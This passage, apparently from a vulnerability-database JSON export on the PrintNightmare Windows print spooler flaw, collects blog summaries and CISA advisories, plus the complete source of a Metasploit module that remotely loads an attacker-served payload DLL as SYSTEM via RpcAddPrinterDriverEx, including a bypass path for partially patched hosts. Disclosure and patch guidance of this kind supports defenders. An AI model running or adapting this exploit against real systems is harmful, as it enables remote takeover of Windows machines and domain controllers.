"LOW", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-08-11T12:16:17", "type": "malwarebytes", "title": "PrintNightmare and RDP RCE among major issues tackled by Patch Tuesday", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26432", "CVE-2021-34481", "CVE-2021-34527", "CVE-2021-34535", "CVE-2021-36936", "CVE-2021-36948"], "modified": "2021-08-11T12:16:17", "id": "MALWAREBYTES:9F3181D8BD5EF0E44A305AF69898B9E0", "href": "https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/08/printnightmare-and-rdp-rce-among-major-issues-tackled-by-patch-tuesday/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2021-07-20T08:33:57", "description": "The list of July 2021 Patch Tuesday updates looks endless. 117 patches with no less than 42 CVEs assigned to them that have FAQs, mitigations details or workarounds listed for them. Looking at the urgency levels Microsoft has assigned to them, system administrators have their work cut out for them once again:\n\n * 13 criticial patches\n * 103 important patches\n\nYou can find the list of CVEs that have FAQs, mitigations, or workarounds on the Microsoft [July release notes](<https://msrc.microsoft.com/update-guide/releaseNote/2021-Jul>) page.\n\nSix vulnerabilities were previously disclosed and four are being exploited in-the-wild, according to Microsoft. One of those CVE\u2019s is a familiar one, [2021-34527](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>) aka the anyone-can-run-code-as-domain-admin RCE known as [PrintNightmare](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/07/printnightmare-0-day-can-be-used-to-take-over-windows-domain-controllers/>). Microsoft issued out-of-band patches for that vulnerability a week ago, but those were [not as comprehensive](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/07/patch-now-emergency-fix-for-printnightmare-released-by-microsoft/>) as one might have hoped. \n\nSince then, the Cybersecurity and Infrastructure Security Agency\u2019s (CISA) has issued [Emergency Directive 21-04](<https://cyber.dhs.gov/ed/21-04/>), \u201cMitigate Windows Print Spooler Service Vulnerability\u201d because it is aware of active exploitation, by multiple threat actors, of the PrintNightmare vulnerability. These directive list required actions for all Federal Civilian Executive Branch agencies.\n\n### Priorities\n\nBesides the ongoing PrintNightmare, er, nightmare, there are some others that deserve your undivided attention. Vulnerabilities being exploited in the wild, besides PrintNightmare, are:\n\n * [CVE-2021-34448](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-34448>) Scripting Engine Memory Corruption Vulnerability for Windows Server 2012 R2 and Windows 10.\n * [CVE-2021-33771](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-33771>) Windows Kernel Elevation of Privilege Vulnerability for Windows Server 2012, Server 2016, Windows 8.1, and Windows 10.\n * [CVE-2021-31979](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-31979>) Windows Kernel Elevation of Privilege Vulnerability for Windows 7, Windows 8.1, Windows 10, Windows Server 2008, Windows Server 2012, Windows Server 2016, and Windows Server 2019.\n\nOther vulnerabilities that are not seen exploited in the wild yet, but are likely candidates to make that list soon:\n\n * [CVE-2021-34458](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-34458>) Windows Kernel Remote Code Execution Vulnerability for some Windows Server versions, if the system is hosting virtual machines, or the Server includes hardware with SR-IOV devices.\n * [CVE-2021-34494](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-34494>) Windows DNS Server Remote Code Execution Vulnerability for Windows Server versions if the server is configured to be a DNS server.\n\n### Exchange Server\n\nAnother ongoing effort to patch vulnerable systems has to do with Microsoft Exchange Server. Flaws that were actually already [patched in April](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/03/patch-now-exchange-servers-attacked-by-hafnium-zero-days/>) have now been assigned new CVE numbers [CVE-2021-34473](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-34473>) (Microsoft Exchange Server Remote Code Execution Vulnerability) and [CVE-2021-34523](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-34523>) (Microsoft Exchange Server Elevation of Privilege Vulnerability). As you may remember this combo of elevation of privilege (EOP) and remote code execution (RCE) caused quite the [panic](<https://blog.malwarebytes.com/malwarebytes-news/2021/03/microsoft-exchange-attacks-cause-panic-as-criminals-go-shell-collecting/>) when attackers started using the Exchange bugs to access vulnerable servers before establishing web shells to gain persistence and steal information.\n\nIf you applied the patches in April, you are already protected. If you didn\u2019t, move them to the top of your to-do-list.\n\n### Windows Media Foundation\n\nTwo other critical vulnerabilities, and one considered important, were found in Microsoft Windows Media Foundation. Microsoft Media Foundation enables the development of applications and components for using digital media on Windows Vista and later. If you do have this multimedia platform installed on your system you are advised to apply the patches, but note that many of them include the [Flash](<https://blog.malwarebytes.com/awareness/2021/01/adobe-flash-player-reaches-end-of-life/>) Removal Package. So do the patches for [CVE-2021-34497](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-34497>) a critical Windows MSHTML Platform RCE vulnerability.\n\nStay safe, everyone!\n\nThe post [Four in-the-wild exploits, 13 critical patches headline bumper Patch Tuesday](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/07/four-in-the-wild-exploits-13-critical-patches-headline-bumper-patch-tuesday/>) appeared first on [Malwarebytes Labs](<https://blog.malwarebytes.com>).", "edition": 2, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-07-14T11:56:06", "type": "malwarebytes", "title": "Four in-the-wild exploits, 13 critical patches headline bumper Patch Tuesday", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31979", "CVE-2021-33771", "CVE-2021-34448", "CVE-2021-34458", "CVE-2021-34473", "CVE-2021-34494", "CVE-2021-34497", "CVE-2021-34523", "CVE-2021-34527"], "modified": "2021-07-14T11:56:06", "id": "MALWAREBYTES:42218FB85F05643E0B2C2C7D259EFEB5", "href": "https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/07/four-in-the-wild-exploits-13-critical-patches-headline-bumper-patch-tuesday/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "packetstorm": [{"lastseen": "2022-05-25T15:25:18", "description": "", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2022-05-25T00:00:00", "type": "packetstorm", "title": "Print Spooler Remote DLL Injection", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2022-05-25T00:00:00", "id": "PACKETSTORM:167261", "href": "https://packetstormsecurity.com/files/167261/Print-Spooler-Remote-DLL-Injection.html", "sourceData": "`## \n# This module requires Metasploit: https://metasploit.com/download \n# Current source: https://github.com/rapid7/metasploit-framework \n## \n \nrequire 'windows_error' \nrequire 'ruby_smb' \nrequire 'ruby_smb/error' \n \nclass MetasploitModule < Msf::Exploit::Remote \n \nprepend Msf::Exploit::Remote::AutoCheck \ninclude Msf::Exploit::Remote::DCERPC \ninclude Msf::Exploit::Remote::SMB::Client::Authenticated \ninclude Msf::Exploit::Remote::SMB::Server::Share \ninclude Msf::Exploit::Retry \ninclude Msf::Exploit::EXE \ninclude Msf::Exploit::Deprecated \n \nmoved_from 'auxiliary/admin/dcerpc/cve_2021_1675_printnightmare' \n \nPrintSystem = RubySMB::Dcerpc::PrintSystem \n \ndef initialize(info = {}) \nsuper( \nupdate_info( \ninfo, \n'Name' => 'Print Spooler Remote DLL Injection', \n'Description' => %q{ \nThe print spooler service can be abused by an authenticated remote attacker to load a DLL through a crafted \nDCERPC request, resulting in remote code execution as NT AUTHORITY\\SYSTEM. This module uses the MS-RPRN \nvector which requires the Print Spooler service to be running. \n}, \n'Author' => [ \n'Zhiniang Peng', # vulnerability discovery / research \n'Xuefeng Li', # vulnerability discovery / research \n'Zhipeng Huo', # vulnerability discovery \n'Piotr Madej', # vulnerability discovery \n'Zhang Yunhai', # vulnerability discovery \n'cube0x0', # PoC \n'Spencer McIntyre', # metasploit module \n'Christophe De La Fuente', # metasploit module co-author \n], \n'License' => MSF_LICENSE, \n'DefaultOptions' => { \n'SRVHOST' => Rex::Socket.source_address \n}, \n'Stance' => Msf::Exploit::Stance::Aggressive, \n'Targets' => [ \n[ \n'Windows', { \n'Platform' => 'win', \n'Arch' => [ ARCH_X64, ARCH_X86 ] \n}, \n], \n], \n'DisclosureDate' => '2021-06-08', \n'References' => [ \n['CVE', '2021-1675'], \n['CVE', '2021-34527'], \n['URL', 'https://github.com/cube0x0/CVE-2021-1675'], \n['URL', 'https://web.archive.org/web/20210701042336/https://github.com/afwu/PrintNightmare'], \n['URL', 'https://github.com/calebstewart/CVE-2021-1675/blob/main/CVE-2021-1675.ps1'], \n['URL', 'https://github.com/byt3bl33d3r/ItWasAllADream'] \n], \n'Notes' => { \n'AKA' => [ 'PrintNightmare' ], \n'Stability' => [CRASH_SERVICE_DOWN], \n'Reliability' => [UNRELIABLE_SESSION], \n'SideEffects' => [ \nARTIFACTS_ON_DISK # the dll will be copied to the remote server \n] \n} \n) \n) \n \nregister_advanced_options( \n[ \nOptInt.new('ReconnectTimeout', [ true, 'The timeout in seconds for reconnecting to the named pipe', 10 ]) \n] \n) \nderegister_options('AutoCheck') \nend \n \ndef check \nbegin \nconnect(backend: :ruby_smb) \nrescue Rex::ConnectionError \nreturn Exploit::CheckCode::Unknown('Failed to connect to the remote service.') \nend \n \nbegin \nsmb_login \nrescue Rex::Proto::SMB::Exceptions::LoginError \nreturn Exploit::CheckCode::Unknown('Failed to authenticate to the remote service.') \nend \n \nbegin \ndcerpc_bind_spoolss \nrescue RubySMB::Error::UnexpectedStatusCode => e \nnt_status = ::WindowsError::NTStatus.find_by_retval(e.status_code.value).first \nif nt_status == ::WindowsError::NTStatus::STATUS_OBJECT_NAME_NOT_FOUND \nprint_error(\"The 'Print Spooler' service is disabled.\") \nend \nreturn Exploit::CheckCode::Safe(\"The DCERPC bind failed with error #{nt_status.name} (#{nt_status.description}).\") \nend \n \n@target_arch = dcerpc_getarch \n# see: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/e81cbc09-ab05-4a32-ae4a-8ec57b436c43 \nif @target_arch == ARCH_X64 \n@environment = 'Windows x64' \nelsif @target_arch == ARCH_X86 \n@environment = 'Windows NT x86' \nelse \nreturn Exploit::CheckCode::Detected('Successfully bound to the remote service.') \nend \n \nprint_status(\"Target environment: Windows v#{simple.client.os_version} (#{@target_arch})\") \n \nprint_status('Enumerating the installed printer drivers...') \ndrivers = enum_printer_drivers(@environment) \n@driver_path = \"#{drivers.driver_path.rpartition('\\\\').first}\\\\UNIDRV.DLL\" \nvprint_status(\"Using driver path: #{@driver_path}\") \n \nprint_status('Retrieving the path of the printer driver directory...') \n@config_directory = get_printer_driver_directory(@environment) \nvprint_status(\"Using driver directory: #{@config_directory}\") unless @config_directory.nil? \n \ncontainer = driver_container( \np_config_file: 'C:\\\\Windows\\\\System32\\\\kernel32.dll', \np_data_file: \"\\\\??\\\\UNC\\\\127.0.0.1\\\\#{Rex::Text.rand_text_alphanumeric(4..8)}\\\\#{Rex::Text.rand_text_alphanumeric(4..8)}.dll\" \n) \n \ncase add_printer_driver_ex(container) \nwhen nil # prevent the module from erroring out in case the response can't be mapped to a Win32 error code \nreturn Exploit::CheckCode::Unknown('Received unknown status code, implying the target is not vulnerable.') \nwhen ::WindowsError::Win32::ERROR_PATH_NOT_FOUND \nreturn Exploit::CheckCode::Vulnerable('Received ERROR_PATH_NOT_FOUND, implying the target is vulnerable.') \nwhen ::WindowsError::Win32::ERROR_BAD_NET_NAME \nreturn Exploit::CheckCode::Vulnerable('Received ERROR_BAD_NET_NAME, implying the target is vulnerable.') \nwhen ::WindowsError::Win32::ERROR_ACCESS_DENIED \nreturn Exploit::CheckCode::Safe('Received ERROR_ACCESS_DENIED implying the target is patched.') \nend \n \nExploit::CheckCode::Detected('Successfully bound to the remote service.') \nend \n \ndef run \nfail_with(Failure::BadConfig, 'Can not use an x64 payload on an x86 target.') if @target_arch == ARCH_X86 && payload.arch.first == ARCH_X64 \nfail_with(Failure::NoTarget, 'Only x86 and x64 targets are supported.') if @environment.nil? \nfail_with(Failure::Unknown, 'Failed to enumerate the driver directory.') if @config_directory.nil? \n \nsuper \nend \n \ndef setup \nif Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0 \nfail_with(Exploit::Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.') \nend \n \nsuper \nend \n \ndef start_service \nfile_name << '.dll' \nself.file_contents = generate_payload_dll \n \nsuper \nend \n \ndef primer \ndll_path = unc \nif dll_path =~ /^\\\\\\\\([\\w:.\\[\\]]+)\\\\(.*)$/ \n# targets patched for CVE-2021-34527 (but with Point and Print enabled) need to use this path style as a bypass \n# otherwise the operation will fail with ERROR_INVALID_PARAMETER \ndll_path = \"\\\\??\\\\UNC\\\\#{Regexp.last_match(1)}\\\\#{Regexp.last_match(2)}\" \nend \nvprint_status(\"Using DLL path: #{dll_path}\") \n \nfilename = dll_path.rpartition('\\\\').last \ncontainer = driver_container(p_config_file: 'C:\\\\Windows\\\\System32\\\\kernel32.dll', p_data_file: dll_path) \n \n3.times do \nadd_printer_driver_ex(container) \nend \n \n1.upto(3) do |directory| \ncontainer.driver_info.p_config_file.assign(\"#{@config_directory}\\\\3\\\\old\\\\#{directory}\\\\#{filename}\") \nbreak if add_printer_driver_ex(container).nil? \nend \n \ncleanup_service \nend \n \ndef driver_container(**kwargs) \nPrintSystem::DriverContainer.new( \nlevel: 2, \ntag: 2, \ndriver_info: PrintSystem::DriverInfo2.new( \nc_version: 3, \np_name_ref_id: 0x00020000, \np_environment_ref_id: 0x00020004, \np_driver_path_ref_id: 0x00020008, \np_data_file_ref_id: 0x0002000c, \np_config_file_ref_id: 0x00020010, \n# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/4464eaf0-f34f-40d5-b970-736437a21913 \np_name: \"#{Rex::Text.rand_text_alpha_upper(2..4)} #{Rex::Text.rand_text_numeric(2..3)}\", \np_environment: @environment, \np_driver_path: @driver_path, \n**kwargs \n) \n) \nend \n \ndef dcerpc_bind_spoolss \nhandle = dcerpc_handle(PrintSystem::UUID, '1.0', 'ncacn_np', ['\\\\spoolss']) \nvprint_status(\"Binding to #{handle} ...\") \ndcerpc_bind(handle) \nvprint_status(\"Bound to #{handle} ...\") \nend \n \ndef enum_printer_drivers(environment) \nresponse = rprn_call('RpcEnumPrinterDrivers', p_environment: environment, level: 2) \nresponse = rprn_call('RpcEnumPrinterDrivers', p_environment: environment, level: 2, p_drivers: [0] * response.pcb_needed, cb_buf: response.pcb_needed) \nfail_with(Failure::UnexpectedReply, 'Failed to enumerate printer drivers.') unless response.p_drivers&.length \nDriverInfo2.read(response.p_drivers.map(&:chr).join) \nend \n \ndef get_printer_driver_directory(environment) \nresponse = rprn_call('RpcGetPrinterDriverDirectory', p_environment: environment, level: 2) \nresponse = rprn_call('RpcGetPrinterDriverDirectory', p_environment: environment, level: 2, p_driver_directory: [0] * response.pcb_needed, cb_buf: response.pcb_needed) \nfail_with(Failure::UnexpectedReply, 'Failed to obtain the printer driver directory.') unless response.p_driver_directory&.length \nRubySMB::Field::Stringz16.read(response.p_driver_directory.map(&:chr).join).encode('ASCII-8BIT') \nend \n \ndef add_printer_driver_ex(container) \nflags = PrintSystem::APD_INSTALL_WARNED_DRIVER | PrintSystem::APD_COPY_FROM_DIRECTORY | PrintSystem::APD_COPY_ALL_FILES \n \nbegin \nresponse = rprn_call('RpcAddPrinterDriverEx', p_name: \"\\\\\\\\#{datastore['RHOST']}\", p_driver_container: container, dw_file_copy_flags: flags) \nrescue RubySMB::Error::UnexpectedStatusCode => e \nnt_status = ::WindowsError::NTStatus.find_by_retval(e.status_code.value).first \nmessage = \"Error #{nt_status.name} (#{nt_status.description})\" \nif nt_status == ::WindowsError::NTStatus::STATUS_PIPE_BROKEN \n# STATUS_PIPE_BROKEN is the return value when the payload is executed, so this is somewhat expected \nprint_status('The named pipe connection was broken, reconnecting...') \nreconnected = retry_until_truthy(timeout: datastore['ReconnectTimeout'].to_i) do \ndcerpc_bind_spoolss \nrescue RubySMB::Error::CommunicationError, RubySMB::Error::UnexpectedStatusCode => e \nfalse \nelse \ntrue \nend \n \nunless reconnected \nvprint_status('Failed to reconnect to the named pipe.') \nreturn nil \nend \n \nprint_status('Successfully reconnected to the named pipe.') \nretry \nelse \nprint_error(message) \nend \n \nreturn nt_status \nend \n \nerror = ::WindowsError::Win32.find_by_retval(response.error_status.value).first \nmessage = \"RpcAddPrinterDriverEx response #{response.error_status}\" \nmessage << \" #{error.name} (#{error.description})\" unless error.nil? \nvprint_status(message) \nerror \nend \n \ndef rprn_call(name, **kwargs) \nrequest = PrintSystem.const_get(\"#{name}Request\").new(**kwargs) \n \nbegin \nraw_response = dcerpc.call(request.opnum, request.to_binary_s) \nrescue Rex::Proto::DCERPC::Exceptions::Fault => e \nfail_with(Failure::UnexpectedReply, \"The #{name} Print System RPC request failed (#{e.message}).\") \nend \n \nPrintSystem.const_get(\"#{name}Response\").read(raw_response) \nend \n \nclass DriverInfo2Header < BinData::Record \nendian :little \n \nuint32 :c_version \nuint32 :name_offset \nuint32 :environment_offset \nuint32 :driver_path_offset \nuint32 :data_file_offset \nuint32 :config_file_offset \nend \n \n# this is a partial implementation that just parses the data, this is *not* the same struct as PrintSystem::DriverInfo2 \n# see: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/2825d22e-c5a5-47cd-a216-3e903fd6e030 \nDriverInfo2 = Struct.new(:header, :name, :environment, :driver_path, :data_file, :config_file) do \ndef self.read(data) \nheader = DriverInfo2Header.read(data) \nnew( \nheader, \nRubySMB::Field::Stringz16.read(data[header.name_offset..]).encode('ASCII-8BIT'), \nRubySMB::Field::Stringz16.read(data[header.environment_offset..]).encode('ASCII-8BIT'), \nRubySMB::Field::Stringz16.read(data[header.driver_path_offset..]).encode('ASCII-8BIT'), \nRubySMB::Field::Stringz16.read(data[header.data_file_offset..]).encode('ASCII-8BIT'), \nRubySMB::Field::Stringz16.read(data[header.config_file_offset..]).encode('ASCII-8BIT') \n) \nend \nend \nend \n`\n", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "sourceHref": "https://packetstormsecurity.com/files/download/167261/cve_2021_1675_printnightmare.rb.txt"}], "talosblog": [{"lastseen": "2021-08-13T00:41:37", "description": "By Edmund Brumaghin, Joe Marshall, and Arnaud Zobec. Executive Summary Another threat actor is actively exploiting the so-called PrintNightmare vulnerability (CVE-2021-1675 / CVE-2021-34527) in Windows' print spooler service to spread laterally across a victim's network as part of a recent... \n \n[[ This is only the beginning! Please visit the blog for the complete entry ]]", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-08-12T16:16:46", "type": "talosblog", "title": "Vice Society Leverages PrintNightmare In Ransomware Attacks", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2021-08-12T16:16:46", "id": "TALOSBLOG:8CDF0A62E30713225D10811E0E977C1D", "href": "http://feedproxy.google.com/~r/feedburner/Talos/~3/DO1FBKPzvIs/vice-society-ransomware-printnightmare.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-07-08T22:35:10", "description": "Over the past several weeks, there's been a lot of discussion about a particular privilege escalation vulnerability in Windows affecting the print spooler, dubbed PrintNightmare. The vulnerability (CVE-2021-1675/CVE-2021-34527) has now been patched multiple times but is believed to still be... \n \n[[ This is only the beginning! Please visit the blog for the complete entry ]]", "cvss3": {}, "published": "2021-07-08T13:25:03", "type": "talosblog", "title": "PrintNightmare: Here\u2019s what you need to know and Talos\u2019 coverage", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2021-07-08T13:25:03", "id": "TALOSBLOG:44F665C3D577FC52EF671E9C0CB1750F", "href": "http://feedproxy.google.com/~r/feedburner/Talos/~3/xyAn8M5kWIs/printnightmare-coverage.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "cisa": [{"lastseen": "2021-07-08T18:09:13", "description": "_(Updated July 2, 2021) _For new information and mitigations, see [Microsoft's updated guidance for the Print spooler vulnerability (CVE-2021-34527)](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>).\n\n_(Updated July 1, 2021) _See [Microsoft's new guidance for the Print spooler vulnerability (CVE-2021-34527)](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>) and apply the necessary workarounds. \n\n_(Original post June 30, 2021)_ The CERT Coordination Center (CERT/CC) has released a [VulNote](<https://www.kb.cert.org/vuls/id/383432>) for a critical remote code execution vulnerability in the Windows Print spooler service, noting: \u201cwhile Microsoft has released an [update for CVE-2021-1675](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675>), it is important to realize that this update does not address the public exploits that also identify as CVE-2021-1675.\u201d An attacker can exploit this vulnerability\u2014nicknamed PrintNightmare\u2014to take control of an affected system.\n\nCISA encourages administrators to disable the Windows Print spooler service in Domain Controllers and systems that do not print. Additionally, administrators should employ the following best practice from Microsoft\u2019s [how-to guides](<https://docs.microsoft.com/en-us/defender-for-identity/cas-isp-print-spooler>), published January 11, 2021: \u201cDue to the possibility for exposure, domain controllers and Active Directory admin systems need to have the Print spooler service disabled. The recommended way to do this is using a Group Policy Object.\u201d \n\nThis product is provided subject to this Notification and this [Privacy & Use](<https://www.dhs.gov/privacy-policy>) policy.\n\n**Please share your thoughts.**\n\nWe recently updated our anonymous [product survey](<https://www.surveymonkey.com/r/CISA-cyber-survey?product=https://us-cert.cisa.gov/ncas/current-activity/2021/06/30/printnightmare-critical-windows-print-spooler-vulnerability>); we'd welcome your feedback.\n", "edition": 2, "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-06-30T00:00:00", "type": "cisa", "title": "PrintNightmare, Critical Windows Print Spooler Vulnerability ", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2021-07-02T00:00:00", "id": "CISA:367C27124C09604830E0725F5F3123F7", "href": "https://us-cert.cisa.gov/ncas/current-activity/2021/06/30/printnightmare-critical-windows-print-spooler-vulnerability", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-07-08T18:12:56", "description": "Microsoft has released [out-of-band security updates](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>) to address a remote code execution (RCE) vulnerability\u2014known as PrintNightmare (CVE-2021-34527)\u2014in the Windows Print spooler service. According to the CERT Coordination Center (CERT/CC), \u201cThe Microsoft Windows Print Spooler service fails to restrict access to functionality that allows users to add printers and related drivers, which can allow a remote authenticated attacker to execute arbitrary code with SYSTEM privileges on a vulnerable system.\u201d\n\nThe updates are cumulative and contain all previous fixes as well as protections for CVE-2021-1675. The updates do not include Windows 10 version 1607, Windows Server 2012, or Windows Server 2016\u2014Microsoft states updates for these versions are forthcoming. Note: According to CERT/CC, \u201cthe Microsoft update for CVE-2021-34527 only appears to address the Remote Code Execution (RCE via SMB and RPC) variants of the PrintNightmare, and not the Local Privilege Escalation (LPE) variant.\u201d See [CERT/CC Vulnerability Note VU #383432](<https://www.kb.cert.org/vuls/id/383432>) for workarounds for the LPE variant.\n\nCISA encourages users and administrators to review the [Microsoft Security Updates](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>) as well as [CERT/CC Vulnerability Note VU #383432](<https://www.kb.cert.org/vuls/id/383432>) and apply the necessary updates or workarounds. For additional background, see [CISA\u2019s initial Current Activity on PrintNightmare](<https://us-cert.cisa.gov/ncas/current-activity/2021/06/30/printnightmare-critical-windows-print-spooler-vulnerability>).\n\nThis product is provided subject to this Notification and this [Privacy & Use](<https://www.dhs.gov/privacy-policy>) policy.\n\n**Please share your thoughts.**\n\nWe recently updated our anonymous [product survey](<https://www.surveymonkey.com/r/CISA-cyber-survey?product=https://us-cert.cisa.gov/ncas/current-activity/2021/07/06/microsoft-releases-out-band-security-updates-printnightmare>); we'd welcome your feedback.\n", "edition": 2, "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-07-06T00:00:00", "type": "cisa", "title": "Microsoft Releases Out-of-Band Security Updates for PrintNightmare", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, 